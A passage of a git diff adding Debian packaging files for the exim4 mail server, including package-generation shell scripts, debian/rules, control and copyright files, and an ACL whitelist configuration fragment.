1996 22:33:17 +0000 + + diff --git a/debian/compat b/debian/compat new file mode 100644 index 0000000..f599e28 --- /dev/null +++ b/debian/compat @@ -0,0 +1 @@ +10 diff --git a/debian/config-custom/create-custom-config-package b/debian/config-custom/create-custom-config-package new file mode 100755 index 0000000..03be647 --- /dev/null +++ b/debian/config-custom/create-custom-config-package @@ -0,0 +1,71 @@ +#!/bin/bash + +if [ -n "$1" ]; then + PACKAGESUFFIX="$1" +else + PACKAGESUFFIX="custom" +fi + +TARGETDIR="../exim4-config-$PACKAGESUFFIX" +#DEBUG=1 + +# copy over -changelog, generating a proper changelog entry +# copy over update-exim4defaults, ip-up.d, email-addresses + +dh_testdir + +set -e + +copytextreplace() { + FILE="$1" + DSTFILE="$2" + DIR="${FILE%/*}" + FILE="${FILE##*/}" + if [ -z "$DSTFILE" ]; then + DSTFILE="$FILE" + fi + [ $DEBUG ] && echo >&2 "DBG: source $DIR/$FILE" + [ $DEBUG ] && echo >&2 "DBG: dst $TARGETDIR/$DIR/$DSTFILE" + mkdir -p $TARGETDIR/$DIR + if ! [ -e "$TARGETDIR/$DIR/$FILE" ]; then + < $DIR/$FILE \ + sed -e "s/exim4-config/exim4-config-$PACKAGESUFFIX/g" \ + -e "s/orig-exim4-config-$PACKAGESUFFIX/exim4-config/g" \ + > $TARGETDIR/$DIR/$DSTFILE + chmod --reference=$DIR/$FILE $TARGETDIR/$DIR/$DSTFILE + else + echo >&2 "ERR: can't write to $TARGETDIR/$DIR/$DSTFILE, file exists" + exit 1 + fi +} + +for file in manpages config templates postinst postrm dirs; do + copytextreplace debian/exim4-config.$file exim4-config-$PACKAGESUFFIX.$file +done + +for file in `cat debian/exim4-config.manpages` \ + `find debian/debconf \( -path '*/.svn/*' -prune \) -or \( -type f -print \)`; do + copytextreplace $file +done + +for file in compat control copyright rules install; do + copytextreplace debian/config-custom/debian/$file +done + +for file in ip-up.d update-exim4defaults email-addresses; do + copytextreplace debian/$file +done + +# manual corrections in target directory + +mv $TARGETDIR/debian/config-custom/debian/* $TARGETDIR/debian +rm -rf $TARGETDIR/debian/config-custom +chmod 775 $TARGETDIR/debian/rules + +# hack changelog + +< debian/changelog sed -n "/^exim4/{s/exim4/exim4-config-$PACKAGESUFFIX/p;q;}" > $TARGETDIR/debian/changelog +echo -e "\n * automatically generated changelog" >> $TARGETDIR/debian/changelog +< debian/changelog sed -n '/^ --/{p;q;}' >> $TARGETDIR/debian/changelog +cd $TARGETDIR +dch --append "generated source package by create-custom-package" diff --git a/debian/config-custom/debian/compat b/debian/config-custom/debian/compat new file mode 100644 index 0000000..b8626c4 --- /dev/null +++ b/debian/config-custom/debian/compat @@ -0,0 +1 @@ +4 diff --git a/debian/config-custom/debian/control b/debian/config-custom/debian/control new file mode 100644 index 0000000..b98933b --- /dev/null +++ b/debian/config-custom/debian/control @@ -0,0 +1,18 @@ +Source: exim4-config +Section: mail +Priority: optional +Maintainer: locally built <root@localhost> +Standards-Version: 3.6.1.0 +Build-Depends-Indep: debhelper (>= 4.0.1) + +Package: exim4-config +Architecture: all +Priority: important +Conflicts: orig-exim4-config +Replaces: orig-exim4-config +Provides: orig-exim4-config, orig-exim4-config-2 +Depends: ${shlibs:Depends}, ${misc:Depends}, exim4-base +Description: exim4-config locally modified Debian configuration for exim4 + This package provides the configuration for the exim4 daemon + packages. It is a locally built special version derived from + orig-exim4-config. diff --git a/debian/config-custom/debian/copyright b/debian/config-custom/debian/copyright new file mode 100644 index 0000000..1910196 --- /dev/null +++ b/debian/config-custom/debian/copyright @@ -0,0 +1,15 @@ +This is a custom made configuration package for Debian GNU/Linux's +prepackaged version of exim4, a powerful yet easy to configure mail +transport agent. + +This package was originally made by create-custom-package, a script +written by Marc Haber <mh+debian-packages@zugschlus.de> using work +provided by Andreas Metzler <ametzler@downhill.at.eu.org>. +create-custom-package uses the exim4 source package to build this +source package. + +The files in this package are free software; you can redistribute them +and/or modify them under the terms of the GNU General Public License +as published by the Free Software Foundation; either version 2, or (at +your option) any later version. Full text of the license can be found +at /usr/share/common-licenses/GPL diff --git a/debian/config-custom/debian/install b/debian/config-custom/debian/install new file mode 100644 index 0000000..718d496 --- /dev/null +++ b/debian/config-custom/debian/install @@ -0,0 +1,2 @@ +debian/debconf/update-exim4.conf.template usr/sbin +debian/debconf/exim4.conf.template etc/exim4 diff --git a/debian/config-custom/debian/rules b/debian/config-custom/debian/rules new file mode 100755 index 0000000..6dc6b79 --- /dev/null +++ b/debian/config-custom/debian/rules @@ -0,0 +1,94 @@ +#!/usr/bin/make -f +# debian/rules for exim4-config-custom +# This file is public domain software, originally written by Joey Hess. +# +# Uncomment this to turn on verbose mode. +export DH_VERBOSE=1 + +buildname=$${build:-`$(SHELL) scripts/os-type`-`$(SHELL) scripts/arch-type`} + +DEBIAN:=$(shell pwd)/debian + +configure: configure-stamp + +# the patches might change src/EDITME. +configure-stamp: + dh_testdir + touch configure-stamp + +build-indep: build-indep-stamp +build-indep-stamp: + dh_testdir + touch build-indep-stamp + +build: build-indep + +clean: cleanfiles + +cleanfiles: + dh_testdir + dh_testroot + rm -f build-indep-stamp configure-stamp install-stamp debian/files + rm -f debian/debconf/exim4.conf.template + + # Add here commands to clean up after the build process. + dh_clean + +install: install-stamp +install-stamp: build + dh_testdir + dh_testroot + dh_clean -k + dh_installdirs + + install -m 755 debian/debconf/update-exim4.conf debian/exim4-config/usr/sbin + install -m 755 $(DEBIAN)/update-exim4defaults $(DEBIAN)/exim4-config/usr/sbin + # install -m644 debian/debconf/exim4.conf.template debian/exim4-config/etc/exim4 + + # ship a copy in examples + # install -m644 debian/debconf/exim4.conf.template debian/exim4-config/usr/share/doc/exim4-config/examples/exim4.conf.template.debconf + install -m644 debian/email-addresses debian/exim4-config/etc + install -m755 debian/ip-up.d debian/exim4-config/etc/ppp/ip-up.d/exim4 + cd $(DEBIAN)/debconf/conf.d && \ + tar cf - `find \( -path '*/.svn/*' -prune \) -or \( -type f -print \)` | \ + { cd $(DEBIAN)/exim4-config/etc/exim4/conf.d/ && \ + tar xf - ; } + chmod 755 debian/debconf/update-exim4.conf.template + CONFDIR=$(DEBIAN)/debconf debian/debconf/update-exim4.conf.template --nobackup --run + +# dh_movefiles + touch install-stamp + +# Build architecture-independent files here. +binary-indep: build install + dh_testdir -i + dh_testroot -i + dh_installchangelogs -i + dh_installdocs -i + dh_installexamples -i + dh_installmenu -i + dh_installdebconf -i + dh_installlogrotate -i +# dh_installemacsen -i + dh_installpam -i + dh_installmime -i +# dh_installinit -i + dh_installcron -i +# dh_installinfo -i +# dh_undocumented -i + dh_installman -i + dh_install -i + dh_strip -i + dh_link -i + dh_compress -i + dh_fixperms -i +# dh_makeshlibs -i + dh_installdeb -i +# dh_perl -i + dh_shlibdeps -i + dh_gencontrol -i + dh_md5sums -i + dh_builddeb -i + +binary: binary-indep +.PHONY: build clean binary-indep binary-arch binary install diff --git a/debian/control b/debian/control new file mode 100644 index 0000000..cd773bb --- /dev/null +++ b/debian/control @@ -0,0 +1,306 @@ +Source: exim4 +Section: mail +Priority: standard +Maintainer: Exim4 Maintainers <pkg-exim4-maintainers@lists.alioth.debian.org> +Uploaders: + Andreas Metzler <ametzler@debian.org>, + Marc Haber <mh+debian-packages@zugschlus.de> +Homepage: https://www.exim.org/ +Standards-Version: 4.3.0 +Vcs-Git: https://salsa.debian.org/exim-team/exim4.git +Vcs-Browser: https://salsa.debian.org/exim-team/exim4 +Build-Depends: + debhelper (>= 10), + default-libmysqlclient-dev, + docbook-xml, + docbook-xsl, + libdb5.3-dev, + libgnutls28-dev (>= 3.5.7), + libident-dev, + libldap2-dev, + libpam0g-dev, + libpcre3-dev, + libperl-dev, + libpq-dev, + libsasl2-dev, + libsqlite3-dev, + libx11-dev, + libxaw7-dev, + libxext-dev, + libxmu-dev, + libxt-dev, + lynx, + po-debconf, + xsltproc + +Package: exim4-base +Architecture: any +Priority: optional +Breaks: + exim4-daemon-custom (<<${Upstream-Version}), + exim4-daemon-heavy (<<${Upstream-Version}), + exim4-daemon-light (<<${Upstream-Version}) +Conflicts: exim, exim-tls +Replaces: + exim, + exim-tls, + exim4-daemon-custom, + exim4-daemon-heavy, + exim4-daemon-light +Depends: + adduser, + cron | cron-daemon | anacron, + exim4-config (>=4.82) | exim4-config-2, + lsb-base (>= 3.0-6), + netbase, + ${misc:Depends}, + ${shlibs:Depends} +# psmisc just for exiwhat. +Recommends: mailx, psmisc +Suggests: + exim4-doc-html | exim4-doc-info, + eximon4, + file, + gnutls-bin | openssl, + mail-reader, + spf-tools-perl, + swaks +Description: support files for all Exim MTA (v4) packages + Exim (v4) is a mail transport agent. exim4-base provides the support + files needed by all exim4 daemon packages. You need an additional package + containing the main executable. The available packages are: + . + exim4-daemon-light + exim4-daemon-heavy + . + If you build exim4 from the source package locally, you can also + build an exim4-daemon-custom package tailored to your own feature set. + . + The Debian exim4 packages have their own web page, + http://wiki.debian.org/PkgExim4. There is also a Debian-specific + FAQ list. Information about the way the Debian packages are + configured can be found in + /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains + information about the way the Debian binary packages are built. The + very extensive upstream documentation is shipped in + /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven + configuration process in a standard setup, invoke dpkg-reconfigure + exim4-config. There is a Debian-centered mailing list, + pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific + questions there, and only write to the upstream exim-users mailing + list if you are sure that your question is not Debian-specific. You + can find the subscription web page on + http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users + +Package: exim4-config +Architecture: all +Priority: optional +Breaks: + exim4-daemon-heavy (<< 4.91~RC1), + exim4-daemon-light (<< 4.91~RC1) +Provides: exim4-config-2 +Conflicts: + exim, + exim-tls, + exim4-config, + exim4-config-2, + ${MTA-Conflicts} +Depends: adduser, ${misc:Depends}, ${shlibs:Depends} +Description: configuration for the Exim MTA (v4) + Exim (v4) is a mail transport agent. exim4-config provides the configuration + for the exim4 daemon packages. The configuration framework has been split + off the main package to allow sites to replace the configuration scheme + with their own without having to change the actual exim4 packages. + . + Sites with special configuration needs (having a lot of identically + configured machines for example) can use this to distribute their own + custom configuration via the packaging system, using the magic + available with dpkg's conffile handling, without having to do local + changes on all of these machines. + . + The Debian exim4 packages have their own web page, + http://wiki.debian.org/PkgExim4. There is also a Debian-specific + FAQ list. Information about the way the Debian packages are + configured can be found in + /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains + information about the way the Debian binary packages are built. The + very extensive upstream documentation is shipped in + /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven + configuration process in a standard setup, invoke dpkg-reconfigure + exim4-config. There is a Debian-centered mailing list, + pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific + questions there, and only write to the upstream exim-users mailing + list if you are sure that your question is not Debian-specific. You + can find the subscription web page on + http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users + +Package: exim4-daemon-light +Architecture: any +Priority: optional +Provides: + exim4-localscanapi-2.0, + mail-transport-agent, + ${dist:Provides:exim4-daemon-light} +Conflicts: mail-transport-agent +Replaces: exim4-base (<= 4.61-1), mail-transport-agent +Depends: + exim4-base (>= ${Upstream-Version}), + ${misc:Depends}, + ${shlibs:Depends} +Description: lightweight Exim MTA (v4) daemon + Exim (v4) is a mail transport agent. This package contains the exim4 + daemon with only basic features enabled. It works well with the + standard setups that are provided by Debian and includes support for + TLS encryption and the dlopen patch to allow dynamic loading of a + local_scan function. + . + The Debian exim4 packages have their own web page, + http://wiki.debian.org/PkgExim4. There is also a Debian-specific + FAQ list. Information about the way the Debian packages are + configured can be found in + /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains + information about the way the Debian binary packages are built. The + very extensive upstream documentation is shipped in + /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven + configuration process in a standard setup, invoke dpkg-reconfigure + exim4-config. There is a Debian-centered mailing list, + pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific + questions there, and only write to the upstream exim-users mailing + list if you are sure that your question is not Debian-specific. You + can find the subscription web page on + http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users + +Package: exim4 +Architecture: all +Priority: optional +Depends: + debconf (>= 1.4.69) | cdebconf (>= 0.39), + exim4-base (<< ${source:Version}.1), + exim4-base (>= ${source:Version}), + exim4-daemon-light | exim4-daemon-heavy | exim4-daemon-custom, + ${misc:Depends} +Description: metapackage to ease Exim MTA (v4) installation + Exim (v4) is a mail transport agent. exim4 is the metapackage depending + on the essential components for a basic exim4 installation. + . + The Debian exim4 packages have their own web page, + http://wiki.debian.org/PkgExim4. There is also a Debian-specific + FAQ list. Information about the way the Debian packages are + configured can be found in + /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains + information about the way the Debian binary packages are built. The + very extensive upstream documentation is shipped in + /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven + configuration process in a standard setup, invoke dpkg-reconfigure + exim4-config. There is a Debian-centered mailing list, + pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific + questions there, and only write to the upstream exim-users mailing + list if you are sure that your question is not Debian-specific. You + can find the subscription web page on + http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users + +Package: exim4-daemon-heavy +Architecture: any +Priority: optional +Provides: exim4-localscanapi-2.0, mail-transport-agent +Conflicts: mail-transport-agent +Replaces: exim4-base (<= 4.61-1), mail-transport-agent +Depends: + exim4-base (>= ${Upstream-Version}), + ${misc:Depends}, + ${shlibs:Depends} +Breaks: clamav-daemon (<< 0.95) +Description: Exim MTA (v4) daemon with extended features, including exiscan-acl + Exim (v4) is a mail transport agent. This package contains the exim4 + daemon with extended features. In addition to the features already + supported by exim4-daemon-light, exim4-daemon-heavy includes LDAP, + sqlite, PostgreSQL and MySQL data lookups, SASL and SPA SMTP authentication, + embedded Perl interpreter, and the content scanning extension + (formerly known as "exiscan-acl") for integration of virus scanners + and spamassassin. + . + The Debian exim4 packages have their own web page, + http://wiki.debian.org/PkgExim4. There is also a Debian-specific + FAQ list. Information about the way the Debian packages are + configured can be found in + /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains + information about the way the Debian binary packages are built. The + very extensive upstream documentation is shipped in + /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven + configuration process in a standard setup, invoke dpkg-reconfigure + exim4-config. There is a Debian-centered mailing list, + pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific + questions there, and only write to the upstream exim-users mailing + list if you are sure that your question is not Debian-specific. You + can find the subscription web page on + http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users + +#Package: exim4-daemon-custom +#Architecture: any +#Priority: optional +#Provides: exim4-localscanapi-2.0, mail-transport-agent +#Conflicts: mail-transport-agent +#Replaces: exim4-base (<= 4.61-1), mail-transport-agent +#Depends: +# exim4-base (>= ${Upstream-Version}), +# ${misc:Depends}, +# ${shlibs:Depends} +#Description: custom Exim MTA (v4) daemon with locally set features +# Exim (v4) is a mail transport agent. This package contains a +# custom-configured exim4 daemon compiled to local needs. This package +# is not part of official Debian, but can easily be built from the +# Debian source package. For information about the feature set compiled in, +# and for bug reports, please find out who built your package. +# . +# The Debian exim4 packages have their own web page, +# http://wiki.debian.org/PkgExim4. There is also a Debian-specific +# FAQ list. Information about the way the Debian packages are +# configured can be found in +# /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains +# information about the way the Debian binary packages are built. The +# very extensive upstream documentation is shipped in +# /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven +# configuration process in a standard setup, invoke dpkg-reconfigure +# exim4-config. There is a Debian-centered mailing list, +# pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific +# questions there, and only write to the upstream exim-users mailing +# list if you are sure that your question is not Debian-specific. You +# can find the subscription web page on +# http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users + +Package: eximon4 +Architecture: any +Priority: optional +Conflicts: eximon +Replaces: eximon +Depends: exim4-base (>= 4.10), ${misc:Depends}, ${shlibs:Depends} +Description: monitor application for the Exim MTA (v4) (X11 interface) + Eximon is a helper program for the Exim MTA (v4). It allows + administrators to view the mail queue and logs, and perform a variety + of actions on queued messages, such as freezing, bouncing and thawing + messages. + +Package: exim4-dev +Architecture: any +Priority: optional +Depends: ${misc:Depends} +Description: header files for the Exim MTA (v4) packages + Exim (v4) is a mail transport agent. This package contains header + files that can be used to compile code that is then dynamically linked + to exim's local_scan interface. + . + The Debian exim4 packages have their own web page, + http://wiki.debian.org/PkgExim4. There is also a Debian-specific + FAQ list. Information about the way the Debian packages are + configured can be found in + /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains + information about the way the Debian binary packages are built. The + very extensive upstream documentation is shipped in + /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven + configuration process in a standard setup, invoke dpkg-reconfigure + exim4-config. There is a Debian-centered mailing list, + pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific + questions there, and only write to the upstream exim-users mailing + list if you are sure that your question is not Debian-specific. You + can find the subscription web page on + http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users diff --git a/debian/copyright b/debian/copyright new file mode 100644 index 0000000..b986c5e --- /dev/null +++ b/debian/copyright @@ -0,0 +1,229 @@ +This is Debian GNU/Linux's prepackaged version of exim, a powerful yet easy +to configure mail transport agent. + +----------------------------------------------------------------- +This package was put together from the original sources which are +maintained by Philip Hazel <ph10@cus.cam.ac.uk>, and which were +obtained from + + ftp://ftp.csx.cam.ac.uk/pub/software/email/exim/ + +Some modifications to the Makefiles have been made to fit with the Linux +FHS. +----------------------------------------------------------------- + +----------------------------------------------------------------- +The exim content filtering extension, formally known as the +exiscan-acl patch, and which is included in exim4-daemon-heavy, +was written by Tom Kistner <tom@duncanthrax.net>. +/* Copyright (c) Tom Kistner <tom@duncanthrax.net> 2003-???? */ +/* License: GPL */ +----------------------------------------------------------------- + +----------------------------------------------------------------- +Debian Maintainer history: +- The Debian package for exim was originally made by Tim Cutts + <timc@chiark.greenend.org.uk>. +- Mark Baker <mbaker@iee.org> took over until exim version 3 and is + still involved with packaging. +- Steve Haslam, Hilko Bengen and Marc Haber generated the initial + packages of Exim v4. +- The exim4 packages are currently maintained by + - Core Team + - (mh) Marc Haber <mh+debian-packages@zugschlus.de> (team leader) + - (am) Andreas Metzler <ametzler@downhill.at.eu.org> (uploader) + - Commit Privileges + - (hb) Hilko Bengen <bengen@debian.org> (documentation, hacks etc) + - (cb) Christian Perrier <bubulle@debian.org> (translations) + +The following people helped in preparing the exim4 packages and gave +important feedback: +- Marc Merlin provides the dlopen patch, making it possible to load + local_scan-routines for a external shared object. + The original patch was written by David Woodhouse, it was modified first + by Derrick 'dman' Hudson and afterwards by Marc Merlin. +- Sander Smeenk provided the TLS-docs and the script to generate the + self-signed certificates. +- The people on the exim4debian list that submitted bug-reports and -fixes, + and helped with design issues: Matthias Klose, Alexander Koch, Ola + Lundqvist, Andrew Mulholland, David Pashley, Andreas Piesk, Nick Phillips + and whoever I forgot to mention. +- syslog2eximlog script by Martin Godisch. +- Hilko Bengen converted the Debian documentation from plain-text to XML + format. +----------------------------------------------------------------- + + +----------------------------------------------------------------- +exim is copyright (c) 1995 - 2018 University of Cambridge. + +The original licence is as follows (from the file NOTICE in the upstream +distribution); a copy of the GNU GPL version 2 is available in +/usr/share/common-licenses/GPL-2 on Debian systems. + +_________________________________________________________________________ +THE EXIM MAIL TRANSFER AGENT +---------------------------- + +Copyright (c) 2004 University of Cambridge + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + +In addition, for the avoidance of any doubt, permission is granted to +link this program with OpenSSL or any other library package and to +(re)distribute the binaries produced as the result of such linking. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + + +UNSOLICITED EMAIL +----------------- + +The use, supply or promotion of Exim for the purpose of sending bulk, +unsolicited electronic mail is incompatible with the basic aims of the program, +which revolve around the free provision of a service that enhances the quality +of personal communications. The author of Exim regards indiscriminate +mass-mailing as an antisocial, irresponsible abuse of the Internet. + + +INCORPORATED CODE +----------------- + +A number of pieces of external code are included in the Exim distribution. + + . Support for the cdb (Constant DataBase) lookup method is provided by code + contributed by Nigel Metheringham of Planet Online Ltd. which contains + the following statements: + _________________________________________________________________________ + + Copyright (c) 1998 Nigel Metheringham, Planet Online Ltd + + This program is free software; you can redistribute it and/or modify it + under the terms of the GNU General Public License as published by the + Free Software Foundation; either version 2 of the License, or (at your + option) any later version. + + This code implements Dan Bernstein's Constant DataBase (cdb) spec. + Information, the spec and sample code for cdb can be obtained from + http://www.pobox.com/~djb/cdb.html. This implementation borrows some code + from Dan Bernstein's implementation (which has no license restrictions + applied to it). + _________________________________________________________________________ + + The implementation is completely contained within the code of Exim. It + does not link against an external cdb library. + + . Client support for Microsoft's "Secure Password Authentication" is pro- + vided by code contributed by Marc Prud'hommeaux. Server support was + contributed by Tom Kistner. This includes code taken from the Samba + project, which is released under the Gnu GPL. + + + . Support for calling the Cyrus "pwcheck" and "saslauthd" daemons is + provided by code taken from the Cyrus-SASL library and adapted by + Alexander S. Sabourenkov. The permission notice appears below, in + accordance with the conditions expressed therein. + + _________________________________________________________________________ + + Copyright (c) 2001 Carnegie Mellon University. All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are + met: + + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + 3. The name 'Carnegie Mellon University' must not be used to endorse or + promote products derived from this software without prior written + permission. For permission or any other legal details, please + contact + + Office of Technology Transfer + Carnegie Mellon University + 5000 Forbes Avenue + Pittsburgh, PA 15213-3890 + (412) 268-4387, fax: (412) 268-7395 + tech-transfer@andrew.cmu.edu + + 4. Redistributions of any form whatsoever must retain the following + acknowledgment: + This product includes software developed by Computing Services at + Carnegie Mellon University (http://www.cmu.edu/computing/). + + CARNEGIE MELLON UNIVERSITY DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS + SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND + FITNESS, IN NO EVENT SHALL CARNEGIE MELLON UNIVERSITY BE LIABLE FOR ANY + SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER + RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF + CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN + CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + _________________________________________________________________________ + + + . The Exim Monitor program, which is an X-Window application, includes + modified versions of the Athena StripChart and TextPop widgets. This code + is copyright by DEC and MIT, and their permission notice appears below, + in accordance with the conditions expressed therein. + + _________________________________________________________________________ + + Copyright 1987, 1988 by Digital Equipment Corporation, Maynard, + Massachusetts, and the Massachusetts Institute of Technology, Cambridge, + Massachusetts. + + All Rights Reserved + + Permission to use, copy, modify, and distribute this software and its + documentation for any purpose and without fee is hereby granted, provided + that the above copyright notice appear in all copies and that both that + copyright notice and this permission notice appear in supporting documen- + tation, and that the names of Digital or MIT not be used in advertising + or publicity pertaining to distribution of the software without specific, + written prior permission. + + DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING + ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL + DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR + ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, + WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, + ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS + SOFTWARE. + _________________________________________________________________________ + + + . Some of the code to support the use of maildirsize files for maildir + deliveries is taken from the Courier Imapd source code. This code is + released under the GPL. + _________________________________________________________________________ + +-- +Philip Hazel University of Cambridge Computing Service, +----------------------------------------------------------------- +src/pdkim/* + +PDKIM - a RFC4871 (DKIM) implementation +http://duncanthrax.net/pdkim/ +Copyright (C) 2009 Tom Kistner <tom@duncanthrax.net> + +No longer includes code from the PolarSSL project. +Copyright (C) 2016 Jeremy Harris <jgh@exim.org> + +This copy of PDKIM is included with Exim. For a standalone distribution, +visit http://duncanthrax.net/pdkim/. +----------------------------------------------------------------- diff --git a/debian/create-custom-package b/debian/create-custom-package new file mode 100755 index 0000000..6c1984e --- /dev/null +++ b/debian/create-custom-package @@ -0,0 +1,95 @@ +#!/bin/bash + +set -e + +if [ -n "$EX4DEBUG" ]; then + echo "now debugging $0 $@" + set -x +fi + +dh_testdir +if [ -z "$(which grep-dctrl)" ] || ! [ -x "$(which grep-dctrl)" ]; then + echo >&2 "ERR: no grep-dctrl binary" + exit 1 +fi + +fakeroot debian/rules clean + +if [ -n "$1" ]; then + PACKAGESUFFIX="$1" +fi + +#DEBUG=1 + +dh_testdir + +cd debian + +replacepkgname() { + sed -e "s/exim4-daemon-custom/exim4-daemon-$PACKAGESUFFIX/g;\ + s/exim4-custom/exim4-$PACKAGESUFFIX/g" +} + +copytextreplace() { + FILE="$1" + DSTFILE="$2" + if [ -z "$DSTFILE" ]; then + echo >&2 "no destination file given to copytextreplace $FILE" + exit 1 + fi + [ $DEBUG ] && echo >&2 "DBG: source $FILE" + [ $DEBUG ] && echo >&2 "DBG: dst $DSTFILE" + if ! [ -e "$DSTFILE" ]; then + < $FILE replacepkgname > $DSTFILE + chmod --reference=$FILE $DSTFILE + else + echo >&2 "ERR: can't write to $DSTFILE, file exists" + exit 1 + fi +} + +NEEDEDFILES="exim4-daemon-custom.* rules control" +for file in $NEEDEDFILES; do + if ! [ -e $file ]; then + echo >&2 "ERR: $file does not exist, not starting" + exit 1 + fi +done + +# the grep-dctrl|grep construct is necessary on woody, +# since woody grep-dctrl does not give sensible return values. +if grep-dctrl --field=Package exim4-daemon-$PACKAGESUFFIX control | \ + grep -q '^Package:'; then + echo >&2 "ERR: there is already a debian/control entry for exim4-daemon-$PACKAGESUFFIX, not starting" + exit 1 +fi + +if grep -q exim4-daemon-$PACKAGESUFFIX rules; then + echo >&2 "ERR: exim4-daemon-$PACKAGESUFFIX already mentioned in debian/rules, not starting" + exit 1 +fi + +for file in exim4-daemon-custom.* ; do + copytextreplace $file ${file/exim4-daemon-custom/exim4-daemon-$PACKAGESUFFIX} +done + +echo >> control +grep-dctrl --field=Package exim4-daemon-custom control | \ + replacepkgname >> control + +< rules sed "/^builddaemonpackages/ \ + {s/^builddaemonpackages=/builddaemonpackages=exim4-daemon-$PACKAGESUFFIX /; \ + }" > rules.new +echo >> rules.new +< rules sed -n "\ + /^build-exim4-daemon-custom/,/^[^[:space:]]/ \ + { \ + s/exim4-daemon-custom/exim4-daemon-$PACKAGESUFFIX/; \ + s/exim4-custom/exim4-$PACKAGESUFFIX/; \ + /^build-exim4-daemon-$PACKAGESUFFIX/p; + /^[^[:space:]]/d; \ + p; \ + }" \ +>> rules.new +chmod --reference=rules rules.new +mv rules.new rules diff --git a/debian/debconf/conf.d/acl/00_exim4-config_header b/debian/debconf/conf.d/acl/00_exim4-config_header new file mode 100644 index 0000000..76b017e --- /dev/null +++ b/debian/debconf/conf.d/acl/00_exim4-config_header @@ -0,0 +1,8 @@ + +###################################################################### +# ACL CONFIGURATION # +# Specifies access control lists for incoming SMTP mail # +###################################################################### +begin acl + + diff --git a/debian/debconf/conf.d/acl/20_exim4-config_local_deny_exceptions b/debian/debconf/conf.d/acl/20_exim4-config_local_deny_exceptions new file mode 100644 index 0000000..2372795 --- /dev/null +++ b/debian/debconf/conf.d/acl/20_exim4-config_local_deny_exceptions @@ -0,0 +1,49 @@ + +### acl/20_exim4-config_local_deny_exceptions +################################# + +# This is used to determine whitelisted senders and hosts. +# It checks for CONFDIR/host_local_deny_exceptions and +# CONFDIR/sender_local_deny_exceptions. +# +# It is meant to be used from some other acl entry. +# +# See exim4-config_files(5) for details. +# +# If the files do not exist, the white list never matches, which is +# the desired behaviour. +# +# The old file names CONFDIR/local_host_whitelist and +# CONFDIR/local_sender_whitelist will continue to be honored for a +# transition period. Their use is deprecated. + +acl_local_deny_exceptions: + accept + hosts = ${if exists{CONFDIR/host_local_deny_exceptions}\ + {CONFDIR/host_local_deny_exceptions}\ + {}} + accept + senders = ${if exists{CONFDIR/sender_local_deny_exceptions}\ + {CONFDIR/sender_local_deny_exceptions}\ + {}} + accept + hosts = ${if exists{CONFDIR/local_host_whitelist}\ + {CONFDIR/local_host_whitelist}\ + {}} + accept + senders = ${if exists{CONFDIR/local_sender_whitelist}\ + {CONFDIR/local_sender_whitelist}\ + {}} + + # This hook allows you to hook in your own ACLs without having to + # modify this file. If you do it like we suggest, you'll end up with + # a small performance penalty since there is an additional file being + # accessed. This doesn't happen if you leave the macro unset. + .ifdef LOCAL_DENY_EXCEPTIONS_LOCAL_ACL_FILE + .include LOCAL_DENY_EXCEPTIONS_LOCAL_ACL_FILE + .endif + + # this is still supported for a transition period and is deprecated. + .ifdef WHITELIST_LOCAL_DENY_LOCAL_ACL_FILE + .include WHITELIST_LOCAL_DENY_LOCAL_ACL_FILE + .endif diff --git 